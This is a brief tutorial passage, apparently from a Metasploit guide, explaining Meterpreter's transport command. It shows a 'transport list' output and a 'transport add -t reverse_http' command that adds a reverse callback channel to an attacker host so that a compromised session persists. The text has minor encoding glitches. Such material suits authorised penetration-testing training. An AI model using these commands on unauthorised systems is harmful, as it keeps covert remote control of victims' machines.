Meterpreter transports
The transport
 command allows you to add a new transport to your current sessions with reverse_tcp
and reverse_https
as the top favorites. Meterpreter offers you some other transports for you to choose from.
How to do it...
- Before starting to add new transports, we will use theÂ
transport
command with the-h
flag to display the help menu for the command:
- To list the current active transports, we can use the
transport
command with thelist
option:
meterpreter > transport list Session Expiry : @ 2017-11-23 16:11:07 ID Curr URL Comms T/O Retry Total Retry Wait -- ---- --- --------- ----------- ---------- 1 * tcp://192.168.216.5:4444 300 3600 10
- Adding new transports allows Metasploit to keep the sessions alive for longer. To add a new
transport
, we can use thetransport
command followed by theÂtransport
 mechanism we are using:
meterpreter > transport add -t reverse_http -l 192.168.216.5 -p 8080 -to 500 -rt 30000 -rw 5000 [*] Adding new transport ... [+] Successfully added...